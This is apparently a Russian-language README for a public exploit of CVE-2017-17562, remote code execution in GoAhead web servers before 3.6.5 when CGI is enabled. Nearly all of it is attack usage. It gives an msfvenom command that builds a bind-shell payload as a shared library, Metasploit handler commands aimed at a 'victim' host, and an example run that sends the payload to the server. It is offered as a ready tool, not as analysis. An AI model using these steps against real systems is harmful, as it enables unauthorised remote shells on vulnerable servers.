nu11pointer/goahead-rce-exploitЭксплойт для уязвимости CVE-2017-17562, которая позволяет RCE на GoAhead (< v3.6.5), если CGI включен и CGI-программа динамически слинкована.
Эксплойт для уязвимости CVE-2017-17562, которая позволяет RCE на GoAhead (< v3.6.5), если CGI включен и CGI программа динамически скомпонована.
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
Сначала необходимо сгенерировать полезную нагрузку и настроить прослушивающее соединение.
Пример:
(Атакующий: 192.168.1.100 - Жертва: 192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
Затем в другом терминале необходимо запустить этот эксплойт, чтобы отправить полезную нагрузку, которая запустит обратное соединение с прослушивателем!
Required arguments:
--host HOST Хост, на котором работает веб-сервер GoAhead.
--port PORT Порт, на котором работает веб-сервер GoAhead. По умолчанию: 80
--payload PAYLOAD Путь к полезной нагрузке.
Optional arguments:
--ssl Хост использует SSL.
--cgi LIST Список путей для обнаружения CGI-скрипта на сервере GoAhead. По умолчанию: paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl